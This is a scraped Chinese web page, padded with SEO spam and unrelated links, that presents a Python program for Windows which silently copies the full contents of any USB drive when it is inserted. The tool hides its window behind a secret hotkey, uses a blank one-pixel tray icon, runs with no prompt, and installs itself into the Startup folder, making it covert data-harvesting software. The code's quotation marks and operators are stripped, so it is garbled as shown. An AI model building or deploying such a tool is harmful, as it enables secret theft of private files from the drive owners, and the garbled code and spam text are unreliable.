当前位置: 首页 > news >正文

商城网站带宽控制玉林做网站公司

商城网站带宽控制,玉林做网站公司,江门市,百度广告搜索推广功能#xff1a;当电脑上有U盘插入时#xff0c;自动复制U盘内的所有内容 主要特点#xff1a; 1、使用PyQt5创建图形界面#xff0c;但默认隐藏 2、通过CtrlAltU组合键可以显示/隐藏界面 3、自动添加到Windows启动项 4、监控USB设备插入 5、按修改时间排序复制文件 6、静…功能当电脑上有U盘插入时自动复制U盘内的所有内容 主要特点 1、使用PyQt5创建图形界面但默认隐藏 2、通过CtrlAltU组合键可以显示/隐藏界面 3、自动添加到Windows启动项 4、监控USB设备插入 5、按修改时间排序复制文件 6、静默运行无提示 7、自动跳过无法复制的文件 8、配置文件保存目标路径 使用说明 1、首次运行时按CtrlAltU显示界面 2、点击选择目标文件夹按钮设置保存位置 3、设置完成后可以关闭界面程序会在后台运行 4、插入U盘后会自动复制内容到指定文件夹 静默界面 实现代码 import os import sys import time import json import shutil import ctypes from ctypes import wintypes import win32file import win32api import win32con import win32gui import win32com.client import pythoncom import win32event import winerror from datetime import datetime from threading import Thread from PyQt5.QtWidgets import (QApplication, QMainWindow, QWidget, QVBoxLayout, QPushButton, QFileDialog, QLabel, QSystemTrayIcon) from PyQt5.QtCore import Qt, QTimer, QEvent from PyQt5.QtGui import QIcon, QPixmapclass USBCopyTool(QMainWindow):def __init__(self):super().__init__()self.config_file config.jsonself.target_path self.load_config()self.init_ui()self.setup_system_tray()self.setup_hotkey()# 添加窗口事件过滤器self.installEventFilter(self)# 启动USB监控线程self.monitor_thread Thread(targetself.monitor_usb, daemonTrue)self.monitor_thread.start()def init_ui(self):self.setWindowTitle(USB自动复制工具)self.setGeometry(300, 300, 400, 200)central_widget QWidget()self.setCentralWidget(central_widget)layout QVBoxLayout()self.path_label QLabel(f当前目标路径: {self.target_path})layout.addWidget(self.path_label)select_btn QPushButton(选择目标文件夹)select_btn.clicked.connect(self.select_target_path)layout.addWidget(select_btn)central_widget.setLayout(layout)self.hide()def setup_system_tray(self):self.tray_icon QSystemTrayIcon(self)# 创建一个1x1的空白图标而不是完全没有图标blank_icon QIcon()blank_icon.addPixmap(QPixmap(1, 1))self.tray_icon.setIcon(blank_icon)self.tray_icon.show()def setup_hotkey(self):# 注册全局热键 (CtrlAltU)self.hot_key_id 1try:win32gui.RegisterHotKey(self.winId(), self.hot_key_id, win32con.MOD_CONTROL | win32con.MOD_ALT, ord(U))except Exception as e:print(f热键注册失败: {e})def nativeEvent(self, eventType, message):try:if eventType windows_generic_MSG:msg wintypes.MSG.from_address(message.__int__())if msg.message win32con.WM_HOTKEY:if self.isVisible():self.hide()else:self.show()return True, 0except Exception as e:print(f事件处理错误: {e})return False, 0def load_config(self):try:with open(self.config_file, r) as f:config json.load(f)return config.get(target_path, )except:return def save_config(self):with open(self.config_file, w) as f:json.dump({target_path: self.target_path}, f)def select_target_path(self):path QFileDialog.getExistingDirectory(self, 选择目标文件夹)if path:self.target_path pathself.path_label.setText(f当前目标路径: {self.target_path})self.save_config()def monitor_usb(self):drives_before set(win32api.GetLogicalDriveStrings().split(\000)[:-1])print(f初始驱动器: {drives_before})while True:try:drives_now set(win32api.GetLogicalDriveStrings().split(\000)[:-1])new_drives drives_now - drives_beforeif new_drives:print(f检测到新驱动器: {new_drives})for drive in new_drives:drive_type win32file.GetDriveType(drive)print(f驱动器 {drive} 类型: {drive_type})if drive_type win32con.DRIVE_REMOVABLE:print(f开始复制U盘 {drive} 内容)self.copy_usb_contents(drive)drives_before drives_nowtime.sleep(1)except Exception as e:print(f监控错误: {e})time.sleep(1)def copy_usb_contents(self, drive):if not self.target_path:print(未设置目标路径)return# 获取U盘卷标名称try:volume_name win32api.GetVolumeInformation(drive)[0]# 如果U盘没有卷标名称则使用盘符if not volume_name:volume_name os.path.splitdrive(drive)[0].rstrip(:\\)# 替换非法字符volume_name .join(c for c in volume_name if c not in r\/:*?|)except Exception as e:print(f获取卷标名称失败: {e})volume_name os.path.splitdrive(drive)[0].rstrip(:\\)target_folder os.path.join(self.target_path, volume_name)print(f复制到目标文件夹: {target_folder})if not os.path.exists(target_folder):os.makedirs(target_folder)# 获取所有文件并按修改时间排序all_files []try:for root, dirs, files in os.walk(drive):print(f扫描目录: {root})for file in files:file_path os.path.join(root, file)try:mtime os.path.getmtime(file_path)all_files.append((file_path, mtime))except Exception as e:print(f无法获取文件信息: {file_path}, 错误: {e})continueexcept Exception as e:print(f扫描目录失败: {e})all_files.sort(keylambda x: x[1], reverseTrue)print(f找到 {len(all_files)} 个文件)# 复制文件for file_path, _ in all_files:try:rel_path os.path.relpath(file_path, drive)target_path os.path.join(target_folder, rel_path)target_dir os.path.dirname(target_path)if not os.path.exists(target_dir):os.makedirs(target_dir)print(f复制文件: {file_path} - {target_path})shutil.copy2(file_path, target_path)except Exception as e:print(f复制失败: {file_path}, 错误: {e})continuedef eventFilter(self, obj, event):if obj is self and event.type() QEvent.WindowStateChange:if self.windowState() Qt.WindowMinimized:# 延迟执行隐藏操作避免界面闪烁QTimer.singleShot(0, self.hide)# 恢复窗口状态这样下次显示时是正常状态self.setWindowState(Qt.WindowNoState)return Truereturn super().eventFilter(obj, event)def add_to_startup():try:startup_path os.path.join(os.getenv(APPDATA), rMicrosoft\Windows\Start Menu\Programs\Startup)script_path os.path.abspath(sys.argv[0])shortcut_path os.path.join(startup_path, USBCopyTool.lnk)shell win32com.client.Dispatch(WScript.Shell)shortcut shell.CreateShortCut(shortcut_path)shortcut.Targetpath script_pathshortcut.WorkingDirectory os.path.dirname(script_path)shortcut.save()except Exception as e:print(f添加到启动项失败: {e})if __name__ __main__:# 确保只运行一个实例mutex win32event.CreateMutex(None, 1, USBCopyTool_Mutex)if win32api.GetLastError() winerror.ERROR_ALREADY_EXISTS:mutex Nonesys.exit(0)add_to_startup()app QApplication(sys.argv)tool USBCopyTool()sys.exit(app.exec_())
http://www.hkea.cn/news/14419978/

相关文章:

  • 在线做头像网站有哪些个人网站备案简介
  • it外包方式包括重庆网站seo昔年优化
  • 龙岗中心城有学网站建设网站建设与管理领导小组
  • 个人网站模板怎么用试用网站cms
  • 做网站哪些做网站开发需要考什么证书
  • 人防工程做资料的网站做网站服务器可以挂到外地么
  • 成都建立网站的公司建设免费网站模板
  • 网站制作与维护公司网站基本建设投资内容
  • 湖北响应式网站建设企业wordpress应用教程 pdf
  • 用手机可以做网站吗wordpress 去掉w
  • 华为商城网站设计分析小锋云主机
  • 企业网站模板公司园林景观设计公司纳税义务的发生时间的确定
  • 家居设计网站推荐建设大马路小学网站
  • 蓬莱网站建设哪家专业wordpress改模版
  • 网站开发公司经营范围奇客影院wordpress
  • 深圳恒诚信企业管理有限公司临沂seo代理商
  • 邢台公司做网站wordpress表单附件上传图片
  • 请问门户网站是什么意思电商设计年终总结
  • ps素材网站大全莱芜吧诚意带大家修车
  • wordpress view插件陕西seo推广
  • 公司网站怎么管理seo伪原创工具
  • 做餐饮系统网站建设国外网站流量查询
  • 枣庄手机网站制作德国网站的后缀名
  • 梁山城乡建设局网站找资源
  • 计算机网站开发项目怎么选择一个好的友情链接网站
  • 百度贴吧有没有做网站的人知识库wordpress主题
  • 美文网站源码郑州郑州网站建设河南做网站公司
  • 一个公司可以做两个网站么环保网站设计
  • 简述dw网站建设步骤品牌策划案例ppt
  • 手机网站跳转谁有做那事的网站